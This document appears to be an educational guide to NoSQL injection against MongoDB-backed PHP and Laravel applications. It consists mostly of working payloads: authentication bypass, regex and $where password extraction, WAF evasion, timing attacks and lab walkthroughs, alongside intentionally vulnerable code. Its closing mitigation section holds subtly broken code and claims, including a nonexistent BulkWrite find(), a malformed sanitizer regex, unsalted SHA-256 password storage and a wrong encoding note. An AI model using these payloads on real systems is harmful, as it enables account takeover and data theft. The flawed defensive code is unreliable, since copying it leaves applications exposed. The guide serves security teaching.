

NoSQL Injection Complete Guide

Eyad Islam El-Taher

June 1, 2026

Contents

1	What is NoSQL	3
1.1	Definition	3
1.2	Types of NoSQL Databases	3
1.3	How NoSQL Differs from SQL	3
2	What is NoSQL Injection	3
2.1	Definition	3
2.2	Impact	3
2.3	Types of NoSQL Injection	4
3	Where to Find NoSQL Injection	4
3.1	Common Locations	4
3.2	How to Identify NoSQL Usage	4
4	Vulnerable Code Examples	4
4.1	PHP with MongoDB	4
4.2	Laravel (MongoDB with Eloquent)	5
5	Detection of NoSQL Injection	6
5.1	Syntax Injection Detection	6
5.2	URL-Encoded Payload Example	6
5.3	Conditional Behavior Test	6
5.4	Null Byte Injection	6
5.5	Operator Injection Detection	6
6	When to Search for NoSQL Injection	7
6.1	Indicators	7
6.2	Common Parameter Names	7
7	Operator Injection	7
7.1	Common MongoDB Operators	7
7.2	Operator Injection Examples	8
7.2.1	URL Parameter Injection	8
7.2.2	JSON Body Injection	8
8	Authentication Bypass	8
8.1	Basic Bypass Techniques	8
8.1.1	URL-Encoded POST Data	8
8.1.2	JSON Data	8
8.2	Authentication Bypass Example	9

9	Extract Length Information	9
9.1	Using \$regex for Length Detection	9
9.1.1	URL Parameter	9
9.1.2	JSON Body	9
10	Extract Data Information	9
10.1	Using \$regex for Character Extraction	9
10.1.1	URL Parameter	9
10.1.2	JSON Body	9
10.2	Using \$in for Enumeration	9
10.3	Using \$where for JavaScript Injection	10
10.4	Extracting Field Names	10
11	WAF and Bypassing Filters	10
11.1	Duplicate Key Precedence	10
11.2	Alternative Encodings	10
11.3	Case Manipulation	10
11.4	Whitespace Bypass	10
11.5	JSON Variations	11
11.6	Timing-Based Blind NoSQL	11
12	Examples	11
12.1	Lab Example 1: Extract Administrator Password	11
12.2	Lab Example 2: Extract Unknown Fields	11
13	Methodology	12
13.1	Testing Workflow	12
13.2	Testing Checklist	12
14	Prevention and Mitigation	13
14.1	Input Validation	13
14.1.1	Whitelist Approach	13
14.1.2	Type Casting	13
14.2	Parameterized Queries	13
14.3	Disable Dangerous Features	14
14.3.1	MongoDB Configuration	14
14.4	Input Sanitization	14
14.5	Laravel Specific Prevention	14
14.6	Mitigation Checklist	15

1 What is NoSQL

1.1 Definition

NoSQL (Not Only SQL) databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits.

1.2 Types of NoSQL Databases

Type	Examples	Query Language
Document Store	MongoDB, CouchDB	JSON-based queries
Key-Value Store	Redis, DynamoDB	GET/PUT operations
Column Family	Cassandra, HBase	CQL
Graph Database	Neo4j, ArangoDB	Cypher, Gremlin

1.3 How NoSQL Differs from SQL

- No fixed schema required
- No joins (usually)
- Horizontal scaling
- JSON/BSON data format
- Query operators instead of SQL keywords
- JavaScript execution in queries (MongoDB)

Key Difference

Unlike SQL databases that use a universal query language, NoSQL databases use a variety of query languages, making injection attacks different for each database type.

2 What is NoSQL Injection

2.1 Definition

NoSQL injection is a vulnerability where an attacker is able to interfere with the queries that an application makes to a NoSQL database. This occurs when user input is not properly sanitized before being used in database queries.

2.2 Impact

NoSQL injection may enable an attacker to:

- Bypass authentication or protection mechanisms
- Extract or edit data
- Cause a denial of service
- Execute code on the server (in some cases)
- Access unauthorized information

2.3 Types of NoSQL Injection

1. **Syntax Injection** - Breaking the query syntax to inject malicious payloads
2. **Operator Injection** - Using NoSQL query operators like \$ne, \$gt, \$regex, \$where

3 Where to Find NoSQL Injection

3.1 Common Locations

- Login forms (authentication bypass)
- Search functionality
- Product filters and categories
- User profile lookups
- API endpoints using JSON
- Applications using MongoDB, CouchDB, or other NoSQL databases

3.2 How to Identify NoSQL Usage

Look for these indicators:

- JSON responses with MongoDB-specific fields (_id, ObjectId)
- URL parameters using bracket notation (user[\$ne]=admin)
- API endpoints accepting JSON in request body
- Responses containing error messages mentioning MongoDB, CouchDB, etc.

4 Vulnerable Code Examples

4.1 PHP with MongoDB

```
1 <?php
2 // Vulnerable: Direct concatenation of user input
3 $username = $_POST['username'];
4 $password = $_POST['password'];
5
6 $collection = (new MongoDB\Client)->app->users;
7 $query = ['username' => $username, 'password' => $password];
8
9 // No sanitization - vulnerable to operator injection
10 $user = $collection->findOne($query);
11
12 if ($user) {
13     $_SESSION['user'] = $user;
14     echo "Login successful";
15 } else {
16     echo "Invalid credentials";
17 }
18 ?>
```

Listing 1: Vulnerable PHP/MongoDB Code

```

1 <?php
2 // Vulnerable search with $where operator
3 $category = $_GET['category'];
4 $collection = (new MongoDB\Client)->shop->products;
5
6 // Direct string concatenation in $where
7 $query = ['$where' => "this.category == '$category'"];
8 $products = $collection->find($query);
9
10 foreach ($products as $product) {
11     echo $product['name'] . "<br>";
12 }
13 ?>

```

Listing 2: Vulnerable Search Function

4.2 Laravel (MongoDB with Eloquent)

```

1 <?php
2 namespace App\Http\Controllers;
3
4 use App\Models\User;
5 use Illuminate\Http\Request;
6
7 class AuthController extends Controller
8 {
9     public function login(Request $request)
10     {
11         // Vulnerable: No input sanitization
12         $username = $request->input('username');
13         $password = $request->input('password');
14
15         // This is vulnerable to operator injection
16         $user = User::where('username', $username)
17             ->where('password', $password)
18             ->first();
19
20         if ($user) { return redirect('/dashboard'); }
21
22         return back()->with('error', 'Invalid credentials');
23     }
24
25     public function search(Request $request)
26     {
27         // Vulnerable search with regex
28         $query = $request->input('q');
29
30         // Direct use of user input
31         $products = Product::where('name', 'like', "%$query%")->get();
32
33         // In MongoDB driver, this becomes regex injection
34         return view('search', ['products' => $products]);
35     }
36 }
37 ?>

```

Listing 3: Vulnerable Laravel/MongoDB Code

When using MongoDB with Laravel (jenssegers/laravel-mongodb), the same operator injection vulnerabilities exist as in raw MongoDB.

5 Detection of NoSQL Injection

5.1 Syntax Injection Detection

Test with fuzz strings that break query syntax:

```
1 # MongoDB fuzz strings
2 '
3 "
4 \'
5 \"
6 `
7 `
8 {
9 ;
10 $Foo
11 \xYZ
12 %00
```

5.2 URL-Encoded Payload Example

```
1 https://insecure.com/products?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24
   Foo%20%5cxYZ%00
```

5.3 Conditional Behavior Test

Test with true/false conditions:

```
1 # False condition
2 /products?category=fizzy ' +%26%26+0+%26%26+ ' x
3
4 # True condition
5 /products?category=fizzy ' +%26%26+1+%26%26+ ' x
```

If responses differ, the application may be vulnerable.

5.4 Null Byte Injection

Test with null character:

```
1 /products?category=fizzy '%00
```

MongoDB may ignore characters after null byte, potentially bypassing additional conditions.

5.5 Operator Injection Detection

Test with query operators:

```
1 # Original request
2 {"username":"admin","password":"password"}
3
```

```

4 # Test with $ne operator
5 {"username":{"$ne":"invalid"},"password":"password"}
6 {"username":"admin","password":{"$ne":"invalid"}}
7 {"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}

```

6 When to Search for NoSQL Injection

6.1 Indicators

Look for NoSQL injection when:

- Application uses MongoDB, CouchDB, or other NoSQL databases
- API endpoints accept JSON input
- Login forms without SQL error messages
- Search functionality with advanced filters
- User profile lookup by username
- Applications that use JavaScript-based queries

6.2 Common Parameter Names

- | | | |
|------------|------------|----------|
| • username | • pass | • filter |
| • user | • search | • id |
| • email | • q | • _id |
| • password | • category | • token |

7 Operator Injection

7.1 Common MongoDB Operators

Operator	Description	Example
\$ne	Not equal	{"price": {"\$ne": 0}}
\$gt	Greater than	{"age": {"\$gt": 18}}
\$lt	Less than	{"age": {"\$lt": 65}}
\$regex	Regular expression	{"name": {"\$regex": "^A.*"}}
\$in	In array	{"role": {"\$in": ["admin", "user"]}}
\$nin	Not in array	{"status": {"\$nin": ["banned"]}}
\$where	JavaScript expression	{"\$where": "this.age < 18"}
\$exists	Field exists	{"email": {"\$exists": true}}
\$type	Field type	{"_id": {"\$type": "objectId"}}

7.2 Operator Injection Examples

7.2.1 URL Parameter Injection

```
1 # Original
2 /user?username=admin
3
4 # Operator injection
5 /user?username[$ne]=invalid
6 /user?username[$gt]=a
7 /user?username[$regex]=^admin
```

7.2.2 JSON Body Injection

```
1 # Original
2 {"username": "admin", "password": "pass"}
3
4 # Operator injection
5 {"username": {"$ne": null}, "password": {"$ne": null}}
6 {"username": {"$gt": ""}, "password": {"$gt": ""}}
7 {"username": {"$regex": "^admin"}, "password": {"$ne": "wrong"}}
```

8 Authentication Bypass

8.1 Basic Bypass Techniques

8.1.1 URL-Encoded POST Data

```
1 # Bypass with $ne
2 username[$ne]=toto&password[$ne]=toto
3
4 # Bypass with regex
5 username[$regex]=a.*&password[$ne]=lol
6
7 # Bypass with range
8 username[$gt]=admin&username[$lt]=test&password[$ne]=1
9
10 # Bypass with $nin
11 username[$nin][]=admin&username[$nin][]=test&password[$ne]=toto
```

8.1.2 JSON Data

```
1 {"username": {"$ne": null}, "password": {"$ne": null}}
2 {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
3 {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
4 {"username": {"$gt": ""}, "password": {"$gt": ""}}
5 {"username": {"$in": ["admin", "administrator"]}, "password": {"$ne": ""}}
```

8.2 Authentication Bypass Example

```
1 POST /login HTTP/1.1
2 Content-Type: application/json
3
4 {"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
```

This query returns all users where both username and password are not equal to "invalid", logging you in as the first user in the collection.

9 Extract Length Information

9.1 Using \$regex for Length Detection

9.1.1 URL Parameter

```
1 # Test if password length is 1
2 user=admin&password[$regex]=.{1}
3
4 # Test if password length is 3
5 user=admin&password[$regex]=.{3}
```

9.1.2 JSON Body

```
1 {"username": "admin", "password": {"$regex": "^.{8}$"}}
2 {"username": "admin", "password": {"$regex": "^.{0,20}$"}}
```

10 Extract Data Information

10.1 Using \$regex for Character Extraction

10.1.1 URL Parameter

```
1 # Extract password character by character
2 user=admin&password[$regex]=^m
3 user=admin&password[$regex]=^md
4 user=admin&password[$regex]=^mdp
5 user=admin&password[$regex]=^mdp.
6 user=admin&password[$regex]=^mdp.s
```

10.1.2 JSON Body

```
1 {"username": "admin", "password": {"$regex": "^a"}}
2 {"username": "admin", "password": {"$regex": "^ad"}}
3 {"username": "admin", "password": {"$regex": "^adm"}}
4 {"username": "admin", "password": {"$regex": "^admi"}}
```

10.2 Using \$in for Enumeration

```
1 {"username": {"$in": ["Admin", "4dm1n", "admin", "root", "administrator"]},
  "password": {"$gt": ""}}
```

10.3 Using \$where for JavaScript Injection

```
1 # Extract first character of password
2 {"$where": "this.username == 'admin' && this.password[0] == 'a'"}
3
4 # Extract password using match()
5 {"$where": "this.username == 'admin' && this.password.match(/^a/)"}
```

10.4 Extracting Field Names

```
1 # Extract first field name character by character
2 {"$where": "Object.keys(this)[0].match('^{0}a.*')"}
3
4 # Extract specific field index
5 {"$where": "Object.keys(this)[1].match('^password.*')"}
```

11 WAF and Bypassing Filters

11.1 Duplicate Key Precedence

In MongoDB, if a document contains duplicate keys, only the last occurrence takes precedence.

```
1 # Bypass WAF by adding duplicate keys
2 {"id":"10", "id":{"$ne":null}}
3 {"username":"guest", "username":{"$ne":"invalid"}, "password":"pass"}
```

11.2 Alternative Encodings

```
1 # Unicode encoding
2 %uff0e%uff0e%uff0f
3 %c0%ae%c0%ae%c0%af
4
5 # URL encoding variations
6 %245b%5d    # $ne encoded
7 %24ne       # Partial encoding
```

11.3 Case Manipulation

```
1 # Some parsers are case-insensitive
2 {"username": {"$NE": "invalid"}}
3 {"username": {"$nE": "invalid"}}
4 {"username": {"$Ne": "invalid"}}
```

11.4 Whitespace Bypass

```
1 # Add whitespace characters
2 {"username":{"$ne": "invalid"},"password":"pass"}
3 {"username" : {"$ne" : "invalid"}, "password" : "pass"}
4 {"username":\t{"$ne":\n"invalid"}}
```

11.5 JSON Variations

```
1 # Single quotes instead of double quotes
2 {'username': {'$ne': 'invalid'}}
3
4 # No quotes around keys
5 {username: {$ne: "invalid"}}
6
7 # Mixed quoting
8 {"username": {'$ne': "invalid"}}
```

11.6 Timing-Based Blind NoSQL

```
1 # Timing attack with sleep
2 {"$where": "sleep(5000)"}
3 {"$where": "function() { var waitTill = new Date(new Date().getTime() +
4     5000); while (waitTill > new Date()) {}; return true; }"}
5
6 # Conditional timing
7 {"$where": "if(this.password[0] == 'a') { sleep(5000) }"}
8 admin' && function(x){var waitTill = new Date(new Date().getTime() + 5000);
9     while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
```

12 Examples

12.1 Lab Example 1: Extract Administrator Password

```
1 # Step 1: Test for injection
2 GET /user/lookup?user=wiener' HTTP/1.1
3
4 # Step 2: Test boolean conditions
5 GET /user/lookup?user=wiener'+'%26%26+'1'%3d%3d'2 HTTP/1.1
6 GET /user/lookup?user=wiener'+'%26%26+'1'%3d%3d'1 HTTP/1.1
7
8 # Step 3: Find password length
9 GET /user/lookup?user=administrator'+'%26%26+this.password.length+%3c+30+||+'
10     a'%3d%3d'b HTTP/1.1
11
12 # Step 4: Extract password characters
13 GET /user/lookup?user=administrator'+'%26%26+this.password[0]%3d%3d'a'+||+'a
14     '%3d%3d'b HTTP/1.1
```

12.2 Lab Example 2: Extract Unknown Fields

```
1 # Step 1: Test operator injection
2 POST /login HTTP/1.1
3 {"username":"carlos","password":{"$ne":"invalid"}}
4
5 # Step 2: Test $where injection
6 POST /login HTTP/1.1
7 {"username":"carlos","password":{"$ne":"invalid"}, "$where": "0"}
8
```

```

9 # Step 3: Extract field names
10 POST /login HTTP/1.1
11 {"username":"carlos","password":{"$ne":"invalid"}, "$where": "Object.keys(
    this)[1].match('^{0}a.*')"}
12
13 # Step 4: Extract token value
14 POST /login HTTP/1.1
15 {"username":"carlos","password":{"$ne":"invalid"}, "$where": "this.YOURTOKEN
    .match('^{0}a.*')"}

```

13 Methodology

13.1 Testing Workflow

1. Identify NoSQL usage

- Check for MongoDB error messages
- Look for JSON-based APIs
- Identify bracket notation in parameters

2. Test for syntax injection

- Submit fuzz strings
- Look for error messages
- Test boolean conditions

3. Test for operator injection

- Try \$ne, \$gt, \$lt operators
- Test authentication bypass
- Attempt to extract data

4. Exploit if vulnerable

- Extract length information
- Extract data using regex
- Use blind techniques if needed

5. Report findings

- Document vulnerable parameters
- Provide proof of concept
- Suggest remediation

13.2 Testing Checklist

Test	Status
Identify NoSQL database type	☐
Test syntax injection with fuzz strings	☐

Test boolean conditions	☐
Test \$ne operator for auth bypass	☐
Test \$regex for data extraction	☐
Test \$where for JavaScript injection	☐
Test null byte injection	☐
Extract password length	☐
Extract password characters	☐
Extract field names	☐
Test timing-based injection	☐

14 Prevention and Mitigation

14.1 Input Validation

14.1.1 Whitelist Approach

```

1 <?php
2 // Whitelist allowed values
3 $allowed_users = ['admin', 'user', 'guest'];
4 $username = $_POST['username'];
5
6 if (!in_array($username, $allowed_users)) {
7     die('Invalid input');
8 }
9
10 // Safe query
11 $collection->findOne(['username' => $username]);
12 ?>

```

14.1.2 Type Casting

```

1 <?php
2 // Force integer type
3 $id = (int)$_GET['id'];
4 $collection->findOne(['_id' => $id]);
5
6 // Force string type
7 $username = (string)$_POST['username'];
8 $collection->findOne(['username' => $username]);
9 ?>

```

14.2 Parameterized Queries

```

1 <?php
2 // Use MongoDB\Driver\Manager with options
3 $manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
4
5 $bulk = new MongoDB\Driver\BulkWrite;

```

```

6 $bulk->find(['username' => ['$eq' => $username]]);
7
8 // Use query builders that escape input
9 use Jenssegers\Mongodb\Eloquent\Model;
10
11 class User extends Model {
12     protected $connection = 'mongodb';
13 }
14
15 // Laravel's query builder escapes input
16 $user = User::where('username', $username)->first();
17 ?>

```

14.3 Disable Dangerous Features

14.3.1 MongoDB Configuration

```

1 // Disable $where operator (requires restart)
2 mongod --noscripting
3
4 // In mongod.conf
5 security:
6     javascriptEnabled: false

```

14.4 Input Sanitization

```

1 <?php
2 function sanitize_nosql($input) {
3     // Remove query operators
4     $input = preg_replace('/\${a-zA-Z}+/', '', $input);
5
6     // Remove JavaScript
7     $input = preg_replace('/<script\b[^\>]*>(.*?)<\/script>/is', '', $input);
8
9     // Escape special characters
10    $input = addslashes($input);
11
12    return $input;
13 }
14
15 $username = sanitize_nosql($_POST['username']);
16 ?>

```

14.5 Laravel Specific Prevention

```

1 <?php
2
3 // Use validation rules
4 $request->validate([
5     'username' => 'required|string|alpha_num|max:255',
6     'email' => 'required|email',
7     'id' => 'required|integer'
8 ]);
9

```

```

10
11 // Use Eloquent properly
12 $user = User::where('username', $request->username)
13         ->where('password', hash('sha256', $request->password))
14         ->first();
15
16 // Avoid using raw expressions
17 // BAD: User::whereRaw("username = '$username'")
18 // GOOD: User::where('username', $username)
19 ?>

```

14.6 Mitigation Checklist

Control	Status
Input validation with whitelist	☐
Type casting for numeric inputs	☐
Parameterized queries	☐
Disable \$where operator	☐
Input sanitization	☐
ObjectID validation	☐
Query result limits	☐
Security logging	☐
Regular security testing	☐
Use of ORM/ODM properly	☐

Key Takeaway

The most effective prevention for NoSQL injection is to:

1. Never trust user input
2. Use whitelists for allowed values
3. Type cast inputs to expected types
4. Disable dangerous JavaScript execution
5. Use parameterized queries when available

Tools Reference

Useful tools for NoSQL injection testing:

- **NoSQLmap** - Automated NoSQL exploitation
- **Burp NoSQLi Scanner** - Burp extension